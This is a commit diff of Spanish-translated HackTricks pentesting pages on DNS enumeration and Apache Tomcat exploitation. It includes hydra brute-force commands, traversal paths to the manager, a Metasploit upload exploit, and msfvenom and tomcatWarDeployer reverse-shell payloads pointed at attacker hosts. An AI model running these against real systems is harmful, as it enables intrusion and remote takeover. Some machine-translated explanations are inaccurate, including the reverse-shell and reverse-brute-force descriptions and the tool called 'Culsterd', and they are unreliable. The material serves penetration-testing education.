mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['network-services-pentesting/pentesting-dns.md', 'network-se
This commit is contained in:
Translator
parent
279a6583ab
commit
3973f0d30c
2 changed files with 68 additions and 100 deletions
|
|
@ -88,43 +88,13 @@ dig -x 2a00:1450:400c:c06::93 @<DNS_IP> #reverse IPv6 lookup
|
|||
```
|
||||
#### Automatización
|
||||
|
||||
Automatización es el proceso de realizar tareas de forma automática, sin intervención humana. En el contexto de la pentesting de servicios de red, la automatización puede ser utilizada para realizar pruebas de penetración en los servicios DNS.
|
||||
Automatización es el proceso de realizar tareas de forma automática, sin intervención humana. En el contexto de la pentesting de servicios de red, la automatización puede ser utilizada para agilizar y simplificar el proceso de pruebas de penetración en los servicios DNS.
|
||||
|
||||
#### Escaneo de DNS
|
||||
Existen varias herramientas de automatización disponibles que pueden ayudar en la pentesting de servicios DNS. Estas herramientas pueden realizar tareas como la enumeración de registros DNS, la detección de subdominios, la búsqueda de registros de transferencia de zona y la identificación de posibles vulnerabilidades en los servidores DNS.
|
||||
|
||||
El escaneo de DNS es una técnica utilizada para descubrir información sobre los servidores DNS de un objetivo. Esto puede incluir la identificación de servidores DNS autorizados, registros de zona, registros de recursos y otros detalles relacionados con la configuración del DNS.
|
||||
La automatización puede ahorrar tiempo y esfuerzo al realizar pruebas de penetración en servicios DNS, permitiendo a los pentesters centrarse en la identificación y explotación de vulnerabilidades en lugar de realizar tareas repetitivas manualmente.
|
||||
|
||||
#### Enumeración de DNS
|
||||
|
||||
La enumeración de DNS es el proceso de recopilar información sobre los registros DNS de un objetivo. Esto puede incluir la obtención de registros de zona, registros de recursos, registros de correo y otros detalles relacionados con la configuración del DNS.
|
||||
|
||||
#### Transferencia de zona DNS
|
||||
|
||||
La transferencia de zona DNS es una operación que permite a un servidor DNS obtener una copia completa de la zona DNS de otro servidor DNS. Esto puede ser utilizado por un atacante para obtener información sensible sobre la configuración del DNS de un objetivo.
|
||||
|
||||
#### Envenenamiento de caché DNS
|
||||
|
||||
El envenenamiento de caché DNS es una técnica utilizada para corromper la caché de un servidor DNS con información falsa. Esto puede ser utilizado por un atacante para redirigir el tráfico de red a servidores maliciosos o para realizar ataques de phishing.
|
||||
|
||||
#### Amplificación de DNS
|
||||
|
||||
La amplificación de DNS es una técnica utilizada para amplificar el tráfico de red mediante consultas DNS maliciosas. Esto puede ser utilizado por un atacante para realizar ataques de denegación de servicio (DoS) al saturar la red del objetivo con respuestas DNS amplificadas.
|
||||
|
||||
#### Ataques de fuerza bruta DNS
|
||||
|
||||
Los ataques de fuerza bruta DNS son ataques en los que un atacante intenta adivinar o descubrir información sensible sobre los registros DNS de un objetivo mediante la prueba de diferentes combinaciones de nombres de dominio o direcciones IP.
|
||||
|
||||
#### Ataques de envenenamiento de caché DNS
|
||||
|
||||
Los ataques de envenenamiento de caché DNS son ataques en los que un atacante corrompe la caché de un servidor DNS con información falsa. Esto puede ser utilizado para redirigir el tráfico de red a servidores maliciosos o para realizar ataques de phishing.
|
||||
|
||||
#### Ataques de denegación de servicio DNS
|
||||
|
||||
Los ataques de denegación de servicio DNS son ataques en los que un atacante intenta saturar la red del objetivo con consultas DNS maliciosas, lo que resulta en la interrupción del servicio DNS y la incapacidad de los usuarios para acceder a los recursos de red.
|
||||
|
||||
#### Ataques de secuestro de zona DNS
|
||||
|
||||
Los ataques de secuestro de zona DNS son ataques en los que un atacante obtiene el control de la zona DNS de un objetivo y redirige el tráfico de red a servidores maliciosos. Esto puede ser utilizado para interceptar comunicaciones o realizar ataques de phishing.
|
||||
Al utilizar herramientas de automatización, es importante tener en cuenta la ética y la legalidad. Siempre se debe obtener el permiso adecuado antes de realizar pruebas de penetración en cualquier sistema o servicio.
|
||||
```bash
|
||||
for sub in $(cat <WORDLIST>);do dig $sub.<DOMAIN> @<DNS_IP> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
|
||||
|
||||
|
|
@ -142,7 +112,7 @@ For example, to query the IP address of the domain `example.com`, you would type
|
|||
nslookup example.com
|
||||
```
|
||||
|
||||
`nslookup` can also be used to query specific types of DNS records, such as MX (Mail Exchanger) records or NS (Name Server) records. To do this, you can use the `-type` option followed by the record type.
|
||||
`nslookup` can also be used to query specific types of DNS records, such as MX (Mail Exchanger) records or NS (Name Server) records. To do this, you can specify the record type after the domain name.
|
||||
|
||||
For example, to query the MX records of `example.com`, you would type:
|
||||
|
||||
|
|
@ -150,15 +120,11 @@ For example, to query the MX records of `example.com`, you would type:
|
|||
nslookup -type=mx example.com
|
||||
```
|
||||
|
||||
`nslookup` can also be used to perform reverse DNS lookups by querying the IP address instead of the domain name. To do this, simply type the IP address instead of the domain name.
|
||||
`nslookup` can also be used in interactive mode, where you can enter multiple queries without exiting the tool. To enter interactive mode, simply type `nslookup` without any arguments.
|
||||
|
||||
For example, to perform a reverse DNS lookup on the IP address `192.168.0.1`, you would type:
|
||||
Once in interactive mode, you can enter domain names or IP addresses to query, and `nslookup` will display the results. To exit interactive mode, type `exit`.
|
||||
|
||||
```
|
||||
nslookup 192.168.0.1
|
||||
```
|
||||
|
||||
`nslookup` provides a simple and straightforward way to gather information about a target's DNS infrastructure during a network services pentest. By querying DNS servers, you can obtain valuable information that can be used to identify potential vulnerabilities or misconfigurations.
|
||||
Using `nslookup` can provide valuable information about a target's DNS infrastructure, which can be useful for identifying potential vulnerabilities or misconfigurations.
|
||||
```bash
|
||||
nslookup
|
||||
> SERVER <IP_DNS> #Select dns server
|
||||
|
|
@ -187,32 +153,34 @@ auxiliary/gather/enum_dns #Perform enumeration actions
|
|||
```
|
||||
### Scripts de nmap útiles
|
||||
|
||||
Nmap es una herramienta de escaneo de red muy poderosa que se utiliza comúnmente en pruebas de penetración. Además de sus capacidades de escaneo básicas, Nmap también admite scripts personalizados que pueden ser utilizados para realizar pruebas más avanzadas. A continuación se presentan algunos scripts de Nmap útiles para pruebas de penetración de servicios DNS:
|
||||
Nmap es una herramienta de escaneo de red muy poderosa que se utiliza comúnmente en pruebas de penetración. Una de las características más útiles de Nmap son sus scripts, que permiten automatizar tareas y realizar pruebas específicas en los servicios de red.
|
||||
|
||||
- **dns-brute.nse**: Este script realiza un ataque de fuerza bruta contra un servidor DNS para descubrir subdominios y registros DNS ocultos.
|
||||
Aquí hay algunos scripts de Nmap que son especialmente útiles para pruebas de penetración en servicios DNS:
|
||||
|
||||
- **dns-cache-snoop.nse**: Este script explota la función de caché de un servidor DNS para revelar información confidencial, como registros DNS antiguos y subdominios.
|
||||
- **dns-brute**: Este script realiza un ataque de fuerza bruta contra un servidor DNS para descubrir subdominios ocultos.
|
||||
- **dns-cache-snoop**: Este script explota la función de caché de un servidor DNS para revelar información confidencial, como registros de consulta anteriores.
|
||||
- **dns-zone-transfer**: Este script intenta realizar una transferencia de zona DNS para obtener una lista completa de registros de un dominio.
|
||||
- **dns-recursion**: Este script verifica si un servidor DNS permite consultas recursivas, lo que podría ser utilizado para realizar ataques de amplificación DNS.
|
||||
- **dns-update**: Este script intenta realizar una actualización de zona DNS para agregar o modificar registros en un servidor DNS.
|
||||
|
||||
- **dns-zone-transfer.nse**: Este script intenta realizar una transferencia de zona DNS desde un servidor DNS para obtener una lista completa de registros DNS y subdominios.
|
||||
Estos scripts pueden ser ejecutados utilizando el comando `nmap` seguido del nombre del script y la dirección IP o el nombre de dominio del servidor DNS que se va a probar.
|
||||
|
||||
- **dns-recursion.nse**: Este script verifica si un servidor DNS permite consultas recursivas, lo que podría ser utilizado para realizar ataques de amplificación DNS.
|
||||
|
||||
- **dns-update.nse**: Este script intenta realizar una actualización de zona DNS en un servidor DNS para agregar o modificar registros DNS.
|
||||
|
||||
Estos scripts pueden ser ejecutados utilizando el comando `nmap` seguido del nombre del script y la dirección IP del servidor DNS objetivo.
|
||||
Recuerda que siempre debes obtener el permiso adecuado antes de realizar pruebas de penetración en cualquier sistema o red.
|
||||
```bash
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - Fuerza Bruta Inversa
|
||||
|
||||
La Fuerza Bruta Inversa es una técnica utilizada en pruebas de penetración para descubrir información sobre los registros DNS inversos de un objetivo. Los registros DNS inversos se utilizan para mapear direcciones IP a nombres de dominio.
|
||||
La Fuerza Bruta Inversa es una técnica utilizada en pruebas de penetración para descubrir información sobre los servidores DNS. En lugar de intentar adivinar nombres de dominio, la Fuerza Bruta Inversa se centra en encontrar direcciones IP asociadas a un nombre de dominio específico.
|
||||
|
||||
En un ataque de Fuerza Bruta Inversa, el objetivo es enumerar todos los posibles nombres de dominio asociados a una dirección IP específica. Esto se logra enviando consultas DNS inversas a un servidor DNS y analizando las respuestas recibidas.
|
||||
El objetivo de esta técnica es obtener información sobre los servidores DNS y posibles subdominios que pueden estar asociados a un dominio en particular. Esto puede ayudar a los hackers a identificar posibles puntos de entrada y vulnerabilidades en la infraestructura de red.
|
||||
|
||||
El proceso de Fuerza Bruta Inversa implica generar una lista de nombres de dominio posibles y enviar consultas DNS inversas para cada uno de ellos. Si el servidor DNS responde con un registro válido, se considera un éxito y se registra como una posible asociación entre la dirección IP y el nombre de dominio.
|
||||
La Fuerza Bruta Inversa se basa en la premisa de que los servidores DNS pueden revelar información sobre los nombres de dominio asociados a una dirección IP específica. Los hackers pueden utilizar herramientas automatizadas para enviar consultas DNS inversas a un servidor DNS y recopilar información sobre los nombres de dominio asociados a una dirección IP.
|
||||
|
||||
Este tipo de ataque puede revelar información sensible, como nombres de dominio internos, nombres de servidores, subdominios ocultos y otros detalles que pueden ser utilizados en futuros ataques. Por lo tanto, es importante que los administradores de sistemas aseguren adecuadamente sus registros DNS inversos y tomen medidas para mitigar este tipo de ataques.
|
||||
Una vez que se obtiene esta información, los hackers pueden utilizarla para realizar ataques dirigidos, como ataques de phishing o ataques de fuerza bruta en los subdominios identificados. También pueden utilizar esta información para obtener una mejor comprensión de la infraestructura de red de una organización y buscar posibles puntos débiles.
|
||||
|
||||
Es importante tener en cuenta que la Fuerza Bruta Inversa puede ser una técnica intrusiva y puede violar las políticas de seguridad de una organización. Por lo tanto, es fundamental obtener el permiso adecuado antes de realizar pruebas de penetración utilizando esta técnica.
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
|
|
@ -235,24 +203,28 @@ dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive
|
|||
```
|
||||
### Servidores de Active Directory
|
||||
|
||||
Active Directory (AD) es un servicio de directorio desarrollado por Microsoft que se utiliza para administrar y organizar los recursos de red en un entorno de red de Windows. Los servidores de Active Directory son servidores que alojan y ejecutan el servicio de directorio de Active Directory.
|
||||
Active Directory (AD) es un servicio de directorio desarrollado por Microsoft que se utiliza para administrar y organizar los recursos de red en un entorno de red de Windows. Los servidores de Active Directory son los servidores que alojan y ejecutan el servicio de directorio de Active Directory.
|
||||
|
||||
Durante una prueba de penetración, es importante identificar y evaluar los servidores de Active Directory en la red objetivo. Estos servidores son fundamentales para el funcionamiento de la infraestructura de red y, por lo tanto, pueden ser un objetivo atractivo para los atacantes.
|
||||
Durante una prueba de penetración, es importante identificar y evaluar los servidores de Active Directory para comprender la estructura y la configuración de la red. Esto puede ayudar a los hackers éticos a encontrar posibles vulnerabilidades y puntos débiles en la seguridad de la red.
|
||||
|
||||
Algunas técnicas comunes utilizadas para pentesting de servidores de Active Directory incluyen:
|
||||
|
||||
- Enumeración de usuarios y grupos: identificar los usuarios y grupos de Active Directory para obtener información sobre la estructura de la red y los posibles objetivos.
|
||||
- Ataques de fuerza bruta: intentar adivinar las contraseñas de los usuarios de Active Directory mediante la prueba de diferentes combinaciones de contraseñas.
|
||||
- Ataques de diccionario: utilizar diccionarios de contraseñas predefinidos para intentar adivinar las contraseñas de los usuarios de Active Directory.
|
||||
- Enumeración de usuarios y grupos: identificar los usuarios y grupos de Active Directory para obtener información sobre los privilegios y los roles asignados.
|
||||
- Enumeración de servicios: identificar los servicios que se ejecutan en los servidores de Active Directory para determinar posibles puntos de entrada.
|
||||
- Enumeración de políticas de grupo: analizar las políticas de grupo aplicadas en los servidores de Active Directory para identificar configuraciones de seguridad débiles.
|
||||
- Ataques de fuerza bruta: intentar adivinar contraseñas débiles o predecibles para obtener acceso no autorizado a los servidores de Active Directory.
|
||||
- Ataques de inyección de comandos: aprovechar las vulnerabilidades de inyección de comandos para ejecutar comandos maliciosos en los servidores de Active Directory.
|
||||
- Ataques de elevación de privilegios: buscar vulnerabilidades que permitan a un atacante elevar sus privilegios en los servidores de Active Directory y obtener un mayor acceso y control sobre la red.
|
||||
|
||||
Es importante realizar estas pruebas de penetración de manera ética y con el permiso del propietario de la red objetivo. El objetivo principal es identificar y remediar las posibles vulnerabilidades en los servidores de Active Directory para fortalecer la seguridad de la red.
|
||||
```
|
||||
Es importante realizar estas pruebas de manera ética y con el permiso del propietario del sistema para garantizar la seguridad y la integridad de la red.
|
||||
```bash
|
||||
dig -t _gc._tcp.lab.domain.com
|
||||
dig -t _ldap._tcp.lab.domain.com
|
||||
dig -t _kerberos._tcp.lab.domain.com
|
||||
dig -t _kpasswd._tcp.lab.domain.com
|
||||
|
||||
nslookup -type=srv _kerberos._tcp.<CLIENT_DOMAIN>
|
||||
nslookup -type=srv _kerberos._tcp.domain.com
|
||||
|
||||
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
|
||||
```
|
||||
### DNSSec
|
||||
|
|
@ -263,7 +235,7 @@ DNSSec utiliza criptografía de clave pública para garantizar la autenticidad e
|
|||
|
||||
Al implementar DNSSec, se puede garantizar que las respuestas DNS no hayan sido modificadas en tránsito y que provengan de la fuente legítima. Esto ayuda a prevenir ataques como el envenenamiento de caché, donde un atacante puede redirigir el tráfico de DNS a servidores maliciosos.
|
||||
|
||||
Para realizar pruebas de penetración en DNSSec, se pueden utilizar herramientas como `dnssec-verify` y `dnssec-dsfromkey` para verificar la configuración y la cadena de confianza de DNSSec en un dominio específico.
|
||||
Para realizar pruebas de penetración en DNSSec, se pueden utilizar herramientas como `dnssec-verify` y `dnssec-dsfromkey` para verificar la configuración y la cadena de confianza de DNSSec.
|
||||
|
||||
Es importante tener en cuenta que DNSSec no proporciona confidencialidad de los datos transmitidos a través del DNS. Si se requiere confidencialidad, se debe utilizar una capa adicional de cifrado, como DNS sobre TLS (DoT) o DNS sobre HTTPS (DoH).
|
||||
```bash
|
||||
|
|
|
|||
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -60,9 +60,9 @@ Puedes probar estas y más utilizando:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Otra ruta interesante de Tomcat es _**/manager/status**_, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten a la versión de Tomcat cuando no puedes acceder a _**/manager/html.**_
|
||||
Otra ruta **interesante de Tomcat** es _**/manager/status**_, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten a la versión de Tomcat cuando no puedes acceder a _**/manager/html.**_
|
||||
|
||||
### Fuerza bruta
|
||||
### Ataque de fuerza bruta
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
|
||||
|
|
@ -81,9 +81,9 @@ Intenta acceder a `/auth.jsp` y si tienes mucha suerte, **podría revelar la con
|
|||
|
||||
Una vulnerabilidad conocida _para_ acceder al administrador de aplicaciones \_\_ es mod\_jk en CVE-2007-1860, que permite la **travesía de directorios con doble codificación de URL**.
|
||||
|
||||
Para acceder al administrador web de Tomcat, ve a: _rutaTomcat/%252E%252E/manager/html_
|
||||
Para acceder al administrador web de Tomcat, ve a: _pathTomcat/%252E%252E/manager/html_
|
||||
|
||||
Ten en cuenta que para cargar la webshell es posible que necesites usar el truco de la doble codificación de URL y enviar también una cookie y/o un token SSRF.\
|
||||
Ten en cuenta que para cargar el webshell es posible que necesites usar el truco de la doble codificación de URL y enviar también una cookie y/o un token SSRF.\
|
||||
Para acceder a la puerta trasera también es posible que necesites usar el truco de la doble codificación de URL.
|
||||
|
||||
### /examples
|
||||
|
|
@ -117,7 +117,7 @@ Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x puede
|
|||
|
||||
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), puedes obtener acceso a directorios protegidos en Tomcat utilizando la ruta: `/..;/`
|
||||
|
||||
Entonces, por ejemplo, podrías **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
Entonces, por ejemplo, podrías ser capaz de **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
|
|
@ -143,9 +143,9 @@ Metasploit es una herramienta de código abierto ampliamente utilizada para real
|
|||
|
||||
Metasploit se utiliza comúnmente para realizar ataques contra servicios web, como el servidor Apache Tomcat. Tomcat es un servidor web y de aplicaciones ampliamente utilizado que se utiliza para ejecutar aplicaciones Java en un entorno de servidor.
|
||||
|
||||
Para realizar pruebas de penetración en un servidor Tomcat utilizando Metasploit, se pueden utilizar varios módulos y exploits disponibles en la herramienta. Estos módulos y exploits pueden ayudar a identificar y aprovechar vulnerabilidades conocidas en el servidor Tomcat, como la ejecución remota de código o la divulgación de información sensible.
|
||||
Metasploit proporciona módulos específicos para la explotación de vulnerabilidades en Tomcat. Estos módulos pueden ser utilizados para identificar y aprovechar vulnerabilidades conocidas en versiones específicas de Tomcat.
|
||||
|
||||
Es importante tener en cuenta que el uso de Metasploit para realizar pruebas de penetración debe hacerse de manera ética y legal, con el permiso del propietario del sistema o red objetivo. El uso indebido de Metasploit u otras herramientas de hacking puede tener consecuencias legales graves.
|
||||
Al utilizar Metasploit para realizar pruebas de penetración en Tomcat, es importante tener en cuenta que se requiere un conocimiento sólido de las técnicas de hacking y de las vulnerabilidades específicas de Tomcat. Además, es fundamental obtener el permiso adecuado antes de realizar cualquier prueba de penetración en un sistema o red.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
|
@ -160,25 +160,21 @@ El shell inverso de MSFVenom es una técnica comúnmente utilizada en pruebas de
|
|||
|
||||
El shell inverso se crea utilizando la herramienta MSFVenom, que es parte del marco de Metasploit. MSFVenom se utiliza para generar payloads maliciosos que se pueden utilizar en ataques de hacking.
|
||||
|
||||
Para crear un shell inverso con MSFVenom, primero debemos especificar el tipo de payload que queremos generar. En este caso, utilizaremos el payload de shell inverso de Windows.
|
||||
Para crear un shell inverso con MSFVenom, primero debemos especificar el tipo de payload que queremos generar. En este caso, utilizaremos el payload "windows/meterpreter/reverse_tcp", que es compatible con sistemas Windows.
|
||||
|
||||
A continuación, especificamos la dirección IP y el puerto al que queremos que se conecte el shell inverso. Esto se hace utilizando los parámetros "LHOST" y "LPORT".
|
||||
|
||||
Una vez que hayamos generado el payload, podemos enviarlo al sistema objetivo utilizando diferentes métodos, como enviarlo por correo electrónico, cargarlo en un sitio web o utilizar ingeniería social para que el usuario lo ejecute.
|
||||
|
||||
Cuando el payload se ejecuta en el sistema objetivo, se establece una conexión entre el sistema objetivo y la máquina del atacante. Esto permite al atacante ejecutar comandos en el sistema objetivo y obtener acceso remoto completo.
|
||||
|
||||
Es importante tener en cuenta que el uso de técnicas de shell inverso sin el consentimiento del propietario del sistema objetivo es ilegal y está sujeto a sanciones legales. El shell inverso debe utilizarse únicamente con fines educativos o en pruebas de penetración autorizadas.
|
||||
```bash
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=<IP del atacante> LPORT=<Puerto del atacante> -f exe > shell.exe
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
A continuación, **cargue el archivo `revshell.war` y acceda a él (**_**/revshell/**_**)**
|
||||
|
||||
Reemplaza `<IP del atacante>` con la dirección IP de la máquina desde la cual se realizará el ataque y `<Puerto del atacante>` con el número de puerto que se utilizará para la conexión.
|
||||
|
||||
Una vez que se haya generado el archivo `shell.exe`, se puede enviar al sistema objetivo utilizando diferentes técnicas, como ingeniería social o explotación de vulnerabilidades.
|
||||
|
||||
Una vez que el archivo `shell.exe` se ejecute en el sistema objetivo, se establecerá una conexión entre el sistema objetivo y la máquina del atacante. Esto permitirá al atacante ejecutar comandos en el sistema objetivo y obtener acceso remoto completo.
|
||||
|
||||
Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso de MSFVenom sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. Estas técnicas solo deben utilizarse con fines educativos o en pruebas de penetración autorizadas.
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
|
||||
```
|
||||
A continuación, **sube el archivo `revshell.war` y accede a él (**_**/revshell/**_**)**
|
||||
|
||||
### Enlazar y revertir la shell con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Conexión de shell inversa y de enlace con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)
|
||||
|
||||
|
|
@ -186,23 +182,23 @@ En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de su
|
|||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain control over the target machine and execute commands remotely. The reverse shell is commonly used in penetration testing to gain unauthorized access to a system.
|
||||
#### Shell inversa
|
||||
|
||||
To establish a reverse shell, the attacker needs to set up a listener on their machine and then exploit a vulnerability on the target machine to execute a reverse shell payload. Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine.
|
||||
Una shell inversa es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema comprometido. En lugar de establecer una conexión saliente desde el sistema comprometido, la shell inversa establece una conexión entrante desde el sistema comprometido al atacante. Esto permite al atacante ejecutar comandos en el sistema comprometido y obtener control total sobre él.
|
||||
|
||||
It is important to note that using reverse shells for unauthorized access is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing with proper authorization.
|
||||
La shell inversa se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red, como el servidor web Apache Tomcat. Una vez que se ha establecido una conexión inversa, el atacante puede utilizar la shell para ejecutar comandos en el sistema comprometido, transferir archivos, obtener información confidencial y realizar otras actividades maliciosas.
|
||||
|
||||
Es importante tener en cuenta que la utilización de una shell inversa sin el consentimiento del propietario del sistema es ilegal y puede tener consecuencias legales graves. La shell inversa debe utilizarse únicamente con fines de pentesting ético y con el permiso explícito del propietario del sistema.
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
#### Shell de conexión
|
||||
|
||||
Un shell de conexión es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema objetivo. Consiste en establecer una conexión entre el sistema atacante y el sistema objetivo, permitiendo al atacante ejecutar comandos en el sistema objetivo de forma remota.
|
||||
Un shell de conexión es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema objetivo. Consiste en establecer una conexión de red entre el atacante y el sistema objetivo, permitiendo al atacante ejecutar comandos en el sistema objetivo de forma remota.
|
||||
|
||||
El shell de conexión se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red o la inyección de código malicioso en aplicaciones web. Una vez establecida la conexión, el atacante puede ejecutar comandos en el sistema objetivo y obtener acceso a sus recursos.
|
||||
|
||||
El shell de conexión es una técnica muy poderosa en la pentesting web, ya que permite al atacante obtener un control total sobre el sistema objetivo. Sin embargo, también es una técnica peligrosa, ya que puede ser detectada por sistemas de seguridad y antivirus.
|
||||
|
||||
Es importante tener en cuenta que el uso de un shell de conexión sin el consentimiento del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. La pentesting web debe realizarse siempre con el permiso y la autorización del propietario del sistema objetivo.
|
||||
El shell de conexión se utiliza comúnmente en la pentesting web para realizar actividades maliciosas, como el robo de información confidencial, la modificación de archivos del sistema o la instalación de malware. Es importante tener en cuenta que el uso de un shell de conexión sin el consentimiento del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves.
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
|
@ -210,17 +206,17 @@ Es importante tener en cuenta que el uso de un shell de conexión sin el consent
|
|||
|
||||
Culsterd is a tool that can be used to exploit vulnerabilities in Apache Tomcat servers. It provides a set of modules that can be used to perform various attacks, such as information gathering, brute forcing, and remote code execution.
|
||||
|
||||
To use Culsterd, you first need to install it on your machine. You can do this by cloning the Culsterd repository from GitHub and following the installation instructions provided in the repository's README file.
|
||||
To use Culsterd, you first need to install it on your machine. You can do this by cloning the repository from GitHub and following the installation instructions provided in the README file.
|
||||
|
||||
Once Culsterd is installed, you can start using its modules to exploit vulnerabilities in Tomcat servers. For example, you can use the `tomcat_enum` module to enumerate valid usernames on a Tomcat server. This module uses a list of common usernames and tries to authenticate with each one of them using a default password.
|
||||
Once you have Culsterd installed, you can start using its modules to exploit vulnerabilities in Tomcat servers. For example, you can use the `tomcat_enum` module to enumerate valid usernames on a Tomcat server. This can be useful for launching brute force attacks against the server.
|
||||
|
||||
To use the `tomcat_enum` module, you need to provide the target Tomcat server's IP address and port number, as well as the path to the list of usernames. Culsterd will then attempt to authenticate with each username and report back the results.
|
||||
Another module provided by Culsterd is `tomcat_bypass`. This module can be used to bypass authentication on a Tomcat server by exploiting a vulnerability in the server's authentication mechanism.
|
||||
|
||||
Another useful module provided by Culsterd is the `tomcat_rce` module, which can be used to execute arbitrary commands on a vulnerable Tomcat server. This module takes advantage of a vulnerability in the Tomcat Manager application to upload and execute a malicious WAR file.
|
||||
Culsterd also provides a module called `tomcat_rce` that can be used to execute arbitrary code on a vulnerable Tomcat server. This can be particularly dangerous as it allows an attacker to gain full control over the server.
|
||||
|
||||
To use the `tomcat_rce` module, you need to provide the target Tomcat server's IP address and port number, as well as the path to the malicious WAR file. Culsterd will then upload the WAR file to the server and execute it, giving you remote access to the server.
|
||||
To use Culsterd, you need to provide it with the necessary information about the target Tomcat server, such as its IP address, port number, and any authentication credentials that may be required. Once you have provided this information, you can run the desired module and Culsterd will attempt to exploit the vulnerability.
|
||||
|
||||
Culsterd is a powerful tool that can be used to exploit vulnerabilities in Apache Tomcat servers. However, it should only be used for legitimate purposes, such as penetration testing and security auditing. Using Culsterd for malicious purposes is illegal and unethical.
|
||||
It is important to note that Culsterd should only be used for ethical hacking purposes and with proper authorization. Using it without permission can lead to legal consequences.
|
||||
```bash
|
||||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||||
```
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue